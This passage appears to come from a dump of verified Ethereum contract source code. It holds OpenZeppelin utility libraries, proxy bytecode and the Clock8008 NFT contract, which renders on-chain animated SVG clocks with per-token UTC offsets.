Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102cb60279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b60606001600160a01b0384163b61019d5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101b8919061024b565b600060405180830381855af49150503d80600081146101f3576040519150601f19603f3d011682016040523d82523d6000602084013e6101f8565b606091505b5091509150610208828286610212565b9695505050505050565b60608315610221575081610105565b8251156102315782518084602001fd5b8160405162461bcd60e51b81526004016101949190610267565b6000825161025d81846020870161029a565b9190910192915050565b602081526000825180602084015261028681604085016020870161029a565b601f01601f19169190910160400192915050565b60005b838110156102b557818101518382015260200161029d565b838111156102c4576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220fc1973a44d3866ca4ee5d8ac11017ae7492f7f2ab4f357a581c214c0f56fa6db64736f6c63430008070033
[ 5 ]
0xf2470e641a551D7Dbdf4B8D064Cf208edfB06586
pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; contract Clock8008 is ERC721Enumerable, ReentrancyGuard, Ownable { using SafeERC20 for IERC20; // Set UTC timezone mapping(uint256 => int8) timeLocalization; string[] private brands = [ "Timex", "HMT", "Fossil", "Swatch", "Stuhrling", "Seagull", "Seiko", "Invicta", "Swiss Legend", "Guess", "Nixon", "Rotary", "Citizen", "Orient", "Casio", "Skagen", "Vostok", "Bulova", "Diesel", "Mondaine", "Benrus", "Michael Kors", "Marathon", "Certina", "Suunto", "Luminox", "Tissot", "Frederique Constant", "Stowa", "Laco", "Hamilton", "Christopher Ward", "Maurice Lacroix", "Zodiac", "Gucci", "Movado", "Mido", "Rado", "Longines", "Raymond Weil", "Oris", "Tutima", "Sinn", "Fortis", "Junghans", "Baume et Mercier", "Hermes", "Nomos Glashutte", "Tag Heuer", "Ebel", "Doxa", "Tudor", "Bell & Ross", "Ball", "Montblac", "IWC", "Omega", "Grand Seiko", "Bvlgari", "Breitling", "Chronoswiss", "Bremont", "Zenith", "Hublot", "Carier", "Panerai", "Rolex", "Jaeger-LeCoultre", "Chopard", "Ulysse Nardin", "Girard-Perregaux", "Blancpain", "Glashutte Original", "Breguet", "A. Lange & Sohne", "Piaget", "Audemars Piguet", "Franck Muller", "Patek Philippe", "Vacheron Constantin", "Richard Mille", "MB&F", "F.P. Journe", "Philippe Dufour", "80085", "Paradigm", "Polychain", "Sino", "FTX", "Degen", "DeFi Summer", "Apes", "Rugged", "Layer 2", "MEV", "Flashbots", "Zero Knowledge", "x y = k" ]; uint256[] private themes = [ 0, // "default", 1, // "dark", 2, // "vintage", 3, // "emarald", 4 // "sapphire" ]; function random(string memory input) internal pure returns (uint256) { return uint256(keccak256(abi.encodePacked(input))); } function getBrand(uint256 tokenId) public view returns (string memory) { return pluck(tokenId, "BRAND", brands); } // Returns colors // primary, accent, background, hand, text function getColors(uint256 tokenId) public view returns (string[5] memory) { uint256 rand = random( string(abi.encodePacked("COLORS", Utils.toString(tokenId))) ); uint256 themeId = themes[rand % themes.length]; // Dark if (themeId == 1) { return ["#232323", "#35adf2", "#353535", "#000", "#c8c8c8"]; } // Vintage if (themeId == 2) { return ["#c0a675", "#c5a35b", "#cfc5ab", "#be975e", "#514a39"]; } // Emarald if (themeId == 3) { return ["#f6f6f6", "#c3c6c3", "#0c5f35", "#eaeff0", "#fff"]; } // Sapphire if (themeId == 4) { return ["#b6b4b2", "#a8a8a8", "#0a367e", "#ababad", "#b5c9cf"]; } // Default return ["#9f9f9f", "#ff3636", "#fff", "#000", "#000"]; } function pluck( uint256 tokenId, string memory keyPrefix, string[] memory sourceArray ) internal pure returns (string memory) { uint256 rand = random( string(abi.encodePacked(keyPrefix, Utils.toString(tokenId))) ); string memory output = sourceArray[rand % sourceArray.length]; return output; } function tokenURI(uint256 tokenId) public view override returns (string memory) { int8 offset = timeLocalization[tokenId]; string[5] memory colors = getColors(tokenId); string[17] memory parts; parts[ 0 ] = '<svg xmlns="http://www.w3.org/2000/svg" class="clock" viewBox="0 0 100 100" style="width:420px;height:420px;"> <style> * {'; parts[1] = string( abi.encodePacked("--color-primary: ", colors[0], ";") ); parts[2] = string(abi.encodePacked("--color-accent: ", colors[1], ";")); parts[3] = string( abi.encodePacked("--color-background: ", colors[2], ";") ); parts[4] = string(abi.encodePacked("--color-hand: ", colors[3], ";")); parts[5] = string(abi.encodePacked("--color-text: ", colors[4], ";")); parts[ 6 ] = "-webkit-transform-origin: inherit; transform-origin: inherit; display: flex; align-items: center; justify-content: center; margin: 0; background-color: var(--color-background); font-family: Helvetica, Sans-Serif; font-size: 5px; } .text { color: var(--color-text); } .circle { color: var(--color-accent); } .clock { width: 60vmin; height: 60vmin; fill: currentColor; -webkit-transform-origin: 50px 50px; transform-origin: 50px 50px; -webkit-animation-name: fade-in; animation-name: fade-in; -webkit-animation-duration: 500ms; animation-duration: 500ms; -webkit-animation-fill-mode: both; animation-fill-mode: both; } .clock line { stroke: currentColor; stroke-linecap: round; } .lines { color: var(--color-primary); stroke-width: 0.5px; } .line-1 { -webkit-transform: rotate(30deg); transform: rotate(30deg); } .line-2 { -webkit-transform: rotate(60deg); transform: rotate(60deg); } .line-3 { -webkit-transform: rotate(90deg); transform: rotate(90deg); } .line-4 { -webkit-transform: rotate(120deg); transform: rotate(120deg); } .line-5 { -webkit-transform: rotate(150deg); transform: rotate(150deg); } .line-6 { -webkit-transform: rotate(180deg); transform: rotate(180deg); } .line-7 { -webkit-transform: rotate(210deg); transform: rotate(210deg); } .line-8 { -webkit-transform: rotate(240deg); transform: rotate(240deg); } .line-9 { -webkit-transform: rotate(270deg); transform: rotate(270deg); } .line-10 { -webkit-transform: rotate(300deg); transform: rotate(300deg); } .line-11 { -webkit-transform: rotate(330deg); transform: rotate(330deg); } .line-12 { -webkit-transform: rotate(360deg); transform: rotate(360deg); } .line { stroke-width: 1.5px; transition: -webkit-transform 200ms cubic-bezier(0.175, 0.885, 0.32, 1.275); transition: transform 200ms cubic-bezier(0.175, 0.885, 0.32, 1.275); transition: transform 200ms cubic-bezier(0.175, 0.885, 0.32, 1.275), -webkit-transform 200ms cubic-bezier(0.175, 0.885, 0.32, 1.275); } .line-hour { color: var(--color-hand); animation: rotateClockHour 216000s linear infinite; } .line-minute { color: var(--color-hand); animation: rotateClockMinute 3600s linear infinite; } .line-second { color: var(--color-accent); stroke-width: 1px; animation: rotateClockSecond 60s linear infinite; }"; parts[7] = Utils.getKeyFrames(offset); parts[8] = "</style>"; parts[ 9 ] = '<text class="text" x="50%" y="30%" dominant-baseline="middle" text-anchor="middle">'; parts[10] = getBrand(tokenId); parts[11] = "</text>"; parts[ 12 ] = '<text class="text" style="font-size: 2px" x="50%" y="70%" dominant-baseline="middle" text-anchor="middle">UTC'; parts[13] = offset >= 0 ? "+" : "-"; if (offset < 0) { offset = offset * -1; } parts[14] = Utils.toString(uint256(int256(offset))); parts[15] = "</text>"; parts[ 16 ] = '<g class="lines"> <line class="line line-1" x1="50" y1="5" x2="50" y2="10"></line> <line class="line line-2" x1="50" y1="5" x2="50" y2="10"></line> <line class="line line-3" x1="50" y1="5" x2="50" y2="10"></line> <line class="line line-4" x1="50" y1="5" x2="50" y2="10"></line> <line class="line line-5" x1="50" y1="5" x2="50" y2="10"></line> <line class="line line-6" x1="50" y1="5" x2="50" y2="10"></line> <line class="line line-7" x1="50" y1="5" x2="50" y2="10"></line> <line class="line line-8" x1="50" y1="5" x2="50" y2="10"></line> <line class="line line-9" x1="50" y1="5" x2="50" y2="10"></line> <line class="line line-10" x1="50" y1="5" x2="50" y2="10"></line> <line class="line line-11" x1="50" y1="5" x2="50" y2="10"></line> <line class="line line-12" x1="50" y1="5" x2="50" y2="10"></line> </g> <line class="line line-hour" x1="50" y1="25" x2="50" y2="50"></line> <line class="line line-minute" x1="50" y1="10" x2="50" y2="50"></line> <circle class="circle" cx="50" cy="50" r="3"></circle> <g class="line line-second"> <line x1="50" y1="10" x2="50" y2="60"></line> <circle cx="50" cy="50" r="1.5"></circle> </g> </svg>'; string memory output = string( abi.encodePacked( parts[0], parts[1], parts[2], parts[3], parts[4], parts[5], parts[6], parts[7], parts[8] ) ); output = string( abi.encodePacked( output, parts[9], parts[10], parts[11], parts[12], parts[13], parts[14], parts[15], parts[16] ) ); string memory json = Base64.encode( bytes( string( abi.encodePacked( '{"name": "Clock #', Utils.toString(tokenId), '", "description": "Clock8008 is a collection of 8008 functioning clocks that you can own in the metaverse. Crafted with scrupulous attention to detail, Clock8008 redefines timekeeping in the metaverse while being a timeless staple.", "image": "data:image/svg+xml;base64,', Base64.encode(bytes(output)), '"}' ) ) ) ); output = string( abi.encodePacked("data:application/json;base64,", json) ); return output; } function setLocalization(uint256 tokenId, int8 localization) public { require(msg.sender == ownerOf(tokenId), "Shoo"); require(localization >= -12 && localization <= 14, "boo!"); timeLocalization[tokenId] = localization; } function mint(uint256 tokenId) public payable nonReentrant { // 0.1 ETH to mint require(msg.value >= 1e17, "Timekeeping aint free!"); require(tokenId > 0 && tokenId < 8001, "Token ID invalid"); _safeMint(_msgSender(), tokenId); } function ownerClaim(uint256 tokenId) public nonReentrant onlyOwner { require(tokenId > 8000 && tokenId < 8009, "Token ID invalid"); _safeMint(owner(), tokenId); } function withdrawETH(address recipient) public onlyOwner { recipient.call{value: address(this).balance}(""); } function withdrawERC20(address token, address recipient) public onlyOwner { IERC20(token).safeTransfer( recipient, IERC20(token).balanceOf(address(this)) ); } constructor() ERC721("Clock", "CLOCK") Ownable() {} } library Utils { // Gets all the CSS key frames function getKeyFrames(int8 offset) internal view returns (string memory) { uint256 secs = BokkyPooBahsDateTimeLibrary.getSecond(block.timestamp); uint256 mins = BokkyPooBahsDateTimeLibrary.getMinute(block.timestamp); uint256 hrs = BokkyPooBahsDateTimeLibrary.getHour(block.timestamp); // Shift time if (offset < 0) { // Don't underflow if (hrs < uint256(int256(offset) * -1)) { hrs = hrs + 12; } // Subtract hrs = hrs - uint256(int256(offset) * -1); } else { hrs = hrs + uint256(int256(offset)); } // Bound between 0 - 12 hrs = hrs % 12; // Get degress uint256 secDeg = ((secs * 360) / 60); uint256 minDeg = ((mins * 360) / 60); uint256 hourDeg = (((hrs * 350) / 12)) + (((mins * 30) / 60)); // Paths string[3] memory parts; parts[0] = toKeyFrames("rotateClockSecond", secDeg); parts[1] = toKeyFrames("rotateClockMinute", minDeg); parts[2] = toKeyFrames("rotateClockHour", hourDeg); // Convert to key frames return string(abi.encodePacked(parts[0], parts[1], parts[2])); } // Get the CSS for key frames function toKeyFrames(string memory name, uint256 degree) internal pure returns (string memory) { string memory strDegree = toString(degree); string memory strDegreeEnd = toString(degree + 360); string[33] memory paths; paths[0] = "@keyframes "; paths[1] = name; paths[2] = " {"; paths[3] = "from { -webkit-transform: rotate("; paths[4] = strDegree; paths[5] = "deg);"; paths[6] = "-moz-transform: rotate("; paths[7] = strDegree; paths[8] = "deg);"; paths[9] = "-ms-transform: rotate("; paths[10] = strDegree; paths[11] = "deg);"; paths[12] = "-o-transform: rotate("; paths[13] = strDegree; paths[14] = "deg);"; paths[15] = "transform: rotate("; paths[16] = strDegree; paths[17] = "deg); }"; paths[18] = "to { -webkit-transform: rotate("; paths[19] = strDegreeEnd; paths[20] = "deg);"; paths[21] = "-moz-transform: rotate("; paths[22] = strDegreeEnd; paths[23] = "deg);"; paths[24] = "-ms-transform: rotate("; paths[25] = strDegreeEnd; paths[26] = "deg);"; paths[27] = "-o-transform: rotate("; paths[28] = strDegreeEnd; paths[29] = "deg);"; paths[30] = "transform: rotate("; paths[31] = strDegreeEnd; paths[32] = "deg); } }"; string memory output = string( abi.encodePacked( paths[0], paths[1], paths[2], paths[3], paths[4], paths[5], paths[6], paths[7], paths[8] ) ); output = string( abi.encodePacked( output, paths[9], paths[10], paths[11], paths[12], paths[13], paths[14], paths[15], paths[16] ) ); output = string( abi.encodePacked( output, paths[17], paths[18], paths[19], paths[20], paths[21], paths[22], paths[23], paths[24] ) ); output = string( abi.encodePacked( output, paths[25], paths[26], paths[27], paths[28], paths[29], paths[30], paths[31], paths[32] ) ); return output; } function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT license // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } } /// [MIT License] /// @title Base64 /// @notice Provides a function for encoding some bytes in base64 /// @author Brecht Devos <[email protected]> library Base64 { bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; /// @notice Encodes some bytes to the base64 representation function encode(bytes memory data) internal pure returns (string memory) { uint256 len = data.length; if (len == 0) return ""; // multiply by 4/3 rounded up uint256 encodedLen = 4 * ((len + 2) / 3); // Add some extra buffer at the end bytes memory result = new bytes(encodedLen + 32); bytes memory table = TABLE; assembly { let tablePtr := add(table, 1) let resultPtr := add(result, 32) for { let i := 0 } lt(i, len) { } { i := add(i, 3) let input := and(mload(add(data, i)), 0xffffff) let out := mload(add(tablePtr, and(shr(18, input), 0x3F))) out := shl(8, out) out := add( out, and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF) ) out := shl(8, out) out := add( out, and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF) ) out := shl(8, out) out := add( out, and(mload(add(tablePtr, and(input, 0x3F))), 0xFF) ) out := shl(224, out) mstore(resultPtr, out) resultPtr := add(resultPtr, 4) } switch mod(len, 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } mstore(result, encodedLen) } return string(result); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.9.0; // ---------------------------------------------------------------------------- // BokkyPooBah's DateTime Library v1.01 // // A gas-efficient Solidity date and time library // // https://github.com/bokkypoobah/BokkyPooBahsDateTimeLibrary // // Tested date range 1970/01/01 to 2345/12/31 // // Conventions: // Unit | Range | Notes // :-------- |:-------------:|:----- // timestamp | >= 0 | Unix timestamp, number of seconds since 1970/01/01 00:00:00 UTC // year | 1970 ... 2345 | // month | 1 ... 12 | // day | 1 ... 31 | // hour | 0 ... 23 | // minute | 0 ... 59 | // second | 0 ... 59 | // dayOfWeek | 1 ... 7 | 1 = Monday, ..., 7 = Sunday // // // Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018-2019. The MIT Licence. // ---------------------------------------------------------------------------- library BokkyPooBahsDateTimeLibrary { uint256 constant SECONDS_PER_DAY = 24 * 60 * 60; uint256 constant SECONDS_PER_HOUR = 60 * 60; uint256 constant SECONDS_PER_MINUTE = 60; function getHour(uint256 timestamp) internal pure returns (uint256 hour) { uint256 secs = timestamp % SECONDS_PER_DAY; hour = secs / SECONDS_PER_HOUR; } function getMinute(uint256 timestamp) internal pure returns (uint256 minute) { uint256 secs = timestamp % SECONDS_PER_HOUR; minute = secs / SECONDS_PER_MINUTE; } function getSecond(uint256 timestamp) internal pure returns (uint256 second) { second = timestamp % SECONDS_PER_MINUTE; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; 